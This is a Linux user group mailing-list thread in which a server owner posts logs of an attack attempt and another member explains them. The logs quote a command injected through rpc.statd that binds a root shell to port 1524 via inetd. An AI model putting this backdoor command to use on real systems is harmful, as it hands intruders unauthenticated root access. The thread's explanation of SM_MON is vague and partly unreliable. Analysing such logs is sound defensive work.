[oclug] Securtiy Attack on my server

[rjordan at CR1004964-A.slnt1.on.wave.home.com]

> Hi,
> I had a hacker try to get in my machine last night, and I'd like to know
> how he did it.  I don't think he got in because I'm running xinetd
> instead of inetd.  I'm not too sure of what he did, but here is the
> relavant portion of my /var/log/messages:
> 
> 
> --------------------------------------------------------------
> Jan 29 23:24:17 sparky telnetd[18942]: ttloop: peer died: EOF
> Jan 29 23:24:18 sparky telnetd[18944]: ttloop: peer died: EOF
> Jan 29 23:24:22 sparky proftpd[18947]: hld.ca
> (basvr.korea.ac.kr[163.152.84.85]) - FTP session closed.


> Jan 30 04:24:34 sparky rpc.statd[601]: SM_MON request for hostname
> containing '/': ; echo "ingreslock stream tcp nowait root /bin/sh sh -i"
> >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob &
There's two parts to the above command.
1) echo "ingres... " to file /tmp/bob
2) load inet with the source file /tmp/bob
What this will do is to bind /bin/sh to the port ingreslock [=1524].
In other words, a telnet to port 1524 would have a shell without 
login or password, nor terminal settings. This would most likely
be a root shell, but depends on the owner of rpc (always root, as
far as I know). 

> Jan 30 04:24:34 sparky rpc.statd[601]: POSSIBLE SPOOF/ATTACK ATTEMPT!
> Jan 30 04:24:34 sparky rpc.statd[601]: STAT_FAIL to 24.42.87.14 for
> SM_MON of ;
> echo "ingreslock stream tcp nowait root /bin/sh sh -i" >>/tmp/bob ;
> /usr/sbin/inetd -s /tmp/bob &
> Jan 29 23:24:41 sparky proftpd[18948]: hld.ca
> (basvr.korea.ac.kr[163.152.84.85]) - FTP session closed. 
> --------------------------------------------------------------
> He also tried to "expn root" by telnetting in to my sendmail.
> 
> I have a couple questions:
> - what was his ultimate goal
who knows, rooting your machine as a step towards it.

> - what is SM_MON
I can't tell you exactly what it is, but it is used in a buffer
overflow exploit of rpc, which ultimately gives root access.

> - what is "ttloop"
the ttloop occurs when a telnet connection is reset, before the telnet
connection is fully initialized. Port scanning or spoofed IPs may cause this.

> 
> Thanks guys!  I think this was a good experience; I'm going to pull
> down the flaps on my server now.
Be sure to pull out the network connection.


-Ross